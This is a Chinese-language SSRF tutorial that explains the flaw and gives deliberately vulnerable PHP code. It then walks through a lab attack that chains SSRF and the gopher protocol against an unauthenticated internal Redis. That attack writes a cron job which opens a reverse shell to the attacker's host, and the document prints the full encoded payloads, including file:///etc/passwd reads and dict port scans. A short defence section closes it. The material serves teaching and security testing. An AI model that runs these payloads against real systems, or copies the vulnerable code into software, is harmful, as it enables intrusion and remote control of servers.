ssrf漏洞
1. ssrf 漏洞简介
SSRF(Server-Side Request Forgery:服务器端请求伪造)是一种由攻击者构造特殊形成的请求,并且由指定服务器端发起恶意请求的一个安全漏洞。 由于业务运行的服务器处于内外网边界,并且可通过利用当前的这台服务器,根据所在的网络,访问到与外部网络隔离的内网应用,所以一般情况下,SSRF漏洞的攻击目标是攻击者无法直接访问的内网系统。
SSRF漏洞的形成大多是由于服务端提供了,从其他服务器应用获取数据的功能而没有对目标地址做过滤和限制。 例如,黑客操控服务端从指定URL地址获取网页文本内容,加载指定地址的图片,下载等,利用的就是服务端请求伪造,SSRF漏洞可以利用存在缺陷的WEB应用作为代理攻击远程和本地的服务器。
2. ssrf 漏洞常见功能点(漏洞常见出没的位置)
社交分享功能:获取超链接的标题等内容进行显示
转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
在线翻译:给网址翻译对应网页的内容
图片加载/下载:例如富文本编辑器中的点击下载图片到本地、通过URL地址加载或下载图片
图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
数据库内置功能:数据库的比如mongodb的copyDatabase函数
邮件系统:比如接收邮件服务器地址
编码处理、属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
未公开的api实现以及其他扩展调用URL的功能:可以利用google语法加上这些关键字去寻找SSRF漏洞。一些的url中的关键字有:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……
从远程服务器请求资源
3. ssrf漏洞用途
内外网的端口和服务扫描
主机本地敏感数据的读取
内外网主机应用程序漏洞的利用
内外网web站点漏洞的利用
4. 常出现漏洞的参数名
share
wap
url
link
src
source
target
u
3g
display
sourceURL
imageURL
domain
5. ssrf 常见函数
php常见函数:
file_get_contents()
参考:https://www.php.net/manual/zh/function.file-get-contents.php
file_get_contents() 函数是用来将文件的内容读入到一个字符串中的首选方法。
<?php
$url = $_GET['url'];;
echo file_get_contents($url);
?>
如果函数在调用期间,攻击者可任意控制传递进来的参数,则会造成危害
fsockopen()
参考:https://www.php.net/manual/zh/function.fsockopen.php
fsockopen() 函数打开一个网络连接或者一个Unix套接字连接
<?php
$host=$_GET['url'];
$fp = fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>
如果函数在调用期间,攻击者可任意控制传递进来的参数,则会造成危害
curl_exec()
curl_exec() 执行一个 curl 会话
参考:https://www.php.net/manual/en/function.curl-exec.php
<?php
if (isset($_GET['url'])){
$link = $_GET['url'];
$curlobj = curl_init(); // 创建新的 cURL 资源
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); // 设置 URL 和相应的选项
$result=curl_exec($curlobj); // 抓取 URL 并把它传递给浏览器
curl_close($curlobj); // 关闭 cURL 资源,并且释放系统资源
// $filename = './curled/'.rand().'.txt';
// file_put_contents($filename, $result);
echo $result;
}
?>
如果函数在调用期间,攻击者可任意控制传递进来的参数,则会造成危害
SoapClient()
SoapClient() 类为SOAP 1.1,SOAP 1.2服务器提供客户端。它可以在 WSDL 或非 WSDL 模式下使用。
参考:https://www.php.net/manual/en/class.soapclient.php
// ssrf.php
<?php
$a = new SoapClient(null,array('uri'=>'http://47.xxx.xxx.72:2333', 'location'=>'http://47.xxx.xxx.72:2333/aaa'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>
6.SSRF漏洞的验证:
1)因为SSRF漏洞是让服务器发送请求的安全漏洞,所以我们就可以通过抓包分析发送的请求是否是由服务器的发送的,从而来判断是否存在SSRF漏洞。 2)在页面源码中查找访问的资源地址 ,如果该资源地址类型为 www.baidu.com/xxx.php?image=(地址)的就可能存在SSRF漏洞
7. ssrf漏洞利用
ssrf测试代码:
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>
7.1 http/https协议
当前应用获取用户传递过来的url参数后端发送请求,并且将最终的请求结果返回到html前端页面。
http://192.168.11.135/ssrf.php?url=http://www.baidu.com
http://192.168.11.135/ssrf.php?url=https://www.baidu.com
但这里需要注意的一点是,当前网站页面返回的内容并非是从当前用户pc端浏览器发送的,而是,服务器端接收到客户端传递过来的url参数,然后在后端服务器代码中通过构造请求发送,最终将结果返回到前端,如果在这里用户传递的是一个内网应用的ip,当前返回的结果:
192.168.10.1 为网关
http://192.168.11.135/ssrf.php?url=http://192.168.10.1
ssrf漏洞服务器所在的内网大小,互通的网段,限制了当前能够获取到资源的数量。
如果当前服务器端对请求资源的协议做了限制,那么可以通过https协议进行绕过。
7.2 file协议
如果服务器端对请求资源所使用的协议方式没有进行限制,那么就可以通过file协议访问当前服务器的本地文件
http://192.168.11.135/ssrf.php?url=file:///etc/passwd
7.3 dict协议
通过dict 协议可以远程访问一个指定的tcp 端口,并且会返回端口所提供的服务的部分组件信息
当目标端口开放(有服务信息显示,但会报错):
http://192.168.11.135/ssrf.php?url=dict://localhost:80
当目标端口关闭(无任何显示):
http://192.168.11.135/ssrf.php?url=dict://localhost:8080
通过差异的对比,可确认内网端口开放情况。
思考:实际干活时,ssrf漏洞该怎么利用来探测内网网段、开放端口及端口服务?
7.4 gopher 协议
Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。当然现在 Gopher 协议已经慢慢淡出历史。
Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。
利用gopher协议getshell
使用ssrf漏洞结合gopher协议攻击内网redis
7.4.1 环境准备
redis未授权环境*2 #192.168.11.203(真实机) 192.168.11.192(模拟机)
ssrf漏洞环境(跳板机) #192.168.11.135
kali攻击机 #192.168.10.96
redis在内网(开防火墙仅允许ssrf机器访问),kali无法直接访问redis,只能通过ssrf作为跳板机攻击redis。
环境验证:
1)redis测试机(192.168.11.192)kail攻击机可以访问
2)内网redis真实机(192.168.11.203)不可以访问
3)内网攻击机(192.168.11.203)设置
firewall-cmd --add-rich-rule='rule family=ipv4 source address=192.168.11.135 port port=6379 protocol=tcp accept'
firewall-cmd --list-all
4)内网攻击机(192.168.11.203)仅可以被ssrf漏洞主机(192.168.11.135)探测到
实验流程:
探测内网发现存在redis主机,推测可能存在未授权漏洞,但kali无法直接尝试,故在本地搭建redis测试环境,抓到攻击流量后转换为gophper通过ssrf服务器传递给内网redis主机
7.4.2 ssrf探测redis服务
通过探测发现,内网192.168.11.203开放6379端口,6379为redis默认端口
http://192.168.11.135/ssrf.php?url=dict://192.168.11.203:6379
7.4.3 kali攻击机安装redis连接工具
apt-get install redis-tools
7.4.4 开启流量转发
kali启动流量转发工具socat,目的是抓取到相关的流量内容
192.168.11.192为测试主机
socat -v tcp-listen:6379,fork tcp-connect:192.168.11.192:6379
7.4.5 kali开启nc监听
攻击redis会写入计划任务,计划任务内容如下,因为是反弹且时间为每分钟故须提前开启监听
bash -i >&/dev/tcp/192.168.10.96/3333 0>&1
另开一终端,启动监听:
nc -lvp 3333
7.4.6 模拟攻击redis
另开一终端,依次敲入以下命令
redis-cli -h 127.0.0.1 flushall #删除Redis中的所有存在的key,不仅仅是当前的数据库。也就是清空数据库。
echo -e "\n\n*/1 * * * * bash -i >&/dev/tcp/192.168.10.96/3333 0>&1\n\n"|redis-cli -h 127.0.0.1 -x set farmsec #将echo的内容通过客户端写入到缓冲区中赋值给farmsec
redis-cli -h 127.0.0.1 config set dir /var/spool/cron/ #设置工作目录
redis-cli -h 127.0.0.1 config set dbfilename root #设置保存文件名字
redis-cli -h 127.0.0.1 save #将缓存区内容写入到root文件内
7.4.7 获取攻击流量内容
回到socat终端,将流量内容复制
> 2022/04/08 10:35:41.854951 length=18 from=0 to=17
*1\r
$8\r
flushall\r
< 2022/04/08 10:35:41.916498 length=5 from=0 to=4
+OK\r
> 2022/04/08 10:35:52.438603 length=92 from=0 to=91
*3\r
$3\r
set\r
$7\r
farmsec\r
$59\r
*/1 * * * * bash -i >&/dev/tcp/192.168.10.96/3333 0>&1
\r
< 2022/04/08 10:35:52.439439 length=5 from=0 to=4
+OK\r
> 2022/04/08 10:36:02.585302 length=57 from=0 to=56
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$16\r
/var/spool/cron/\r
< 2022/04/08 10:36:02.586108 length=5 from=0 to=4
+OK\r
> 2022/04/08 10:36:08.471573 length=52 from=0 to=51
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$4\r
root\r
< 2022/04/08 10:36:08.472274 length=5 from=0 to=4
+OK\r
> 2022/04/08 10:41:22.008184 length=14 from=0 to=13
*1\r
$4\r
save\r
< 2022/04/08 10:41:22.014742 length=5 from=0 to=4
+OK\r
计划任务为每隔一分钟执行一次反弹,最多等待一分钟即可看到反弹回来的shell,表明测试语句可以执行攻击成功
测试机192.168.11.192计划任务:
nc反弹监听:
7.4.8 将攻击流量转换为gopher协议格式
复制socat抓取到的攻击流量,保存到ssrftool工具包1.txt中
7.4.9 格式化攻击语句
将攻击语句格式化为gopher协议格式
python 1.py 1.txt
*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$7%0d%0afarmsec%0d%0a$59%0d%0a%0a%0a*/1 * * * * bash -i >&/dev/tcp/192.168.10.96/3333 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a%0a
7.4.10 构造gopher格式攻击语句
将格式化后攻击语句开头添加攻击目标gopher://192.168.11.203:6379/_
gopher://192.168.11.203:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$7%0d%0afarmsec%0d%0a$59%0d%0a%0a%0a*/1 * * * * bash -i >&/dev/tcp/192.168.10.96/3333 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a%0a
7.4.11 攻击语句url编码
url编码:
gopher%3A%2F%2F192.168.11.203%3A6379%2F_*1%250d%250a%248%250d%250aflushall%250d%250a*3%250d%250a%243%250d%250aset%250d%250a%247%250d%250afarmsec%250d%250a%2459%250d%250a%250a%250a*%2F1%20*%20*%20*%20*%20bash%20-i%20%3E%26%2Fdev%2Ftcp%2F192.168.10.96%2F3333%200%3E%261%250a%250a%250a%250d%250a*4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a*4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a*1%250d%250a%244%250d%250asave%250d%250a%250a
7.4.12 测试攻击语句
须先清除测试机(192.168.11.192)反弹shell计划任务,避免对如下测试造成影响
crontab -e
crontab -l
7.4.13 退出测试nc监听,重新开启nc监听任务
nc -lvp 3333
7.4.14 开始攻击
使用ssrf漏洞将gopher攻击语句传递到内网redis主机
http://192.168.11.135/ssrf.php?url=gopher%3A%2F%2F192.168.11.203%3A6379%2F_*1%250d%250a%248%250d%250aflushall%250d%250a*3%250d%250a%243%250d%250aset%250d%250a%247%250d%250afarmsec%250d%250a%2459%250d%250a%250a%250a*%2F1%20*%20*%20*%20*%20bash%20-i%20%3E%26%2Fdev%2Ftcp%2F192.168.10.96%2F3333%200%3E%261%250a%250a%250a%250d%250a*4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a*4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a*1%250d%250a%244%250d%250asave%250d%250a%250a
7.4.15 nc监听到反弹的shell
8 防御
禁用不需要的协议(如:file:///、gopher://,dict://等),仅仅允许http和https请求
统一错误信息,防止根据错误信息判断端口状态
禁止302跳转,或每次跳转,都检查新的Host是否是内网IP,直到抵达最后的网址
设置URL白名单或者限制内网IP
9 思考
ssrf与文件包含的相似处与不同处?
10 真实案例
https://hackerone.com/reports/115748























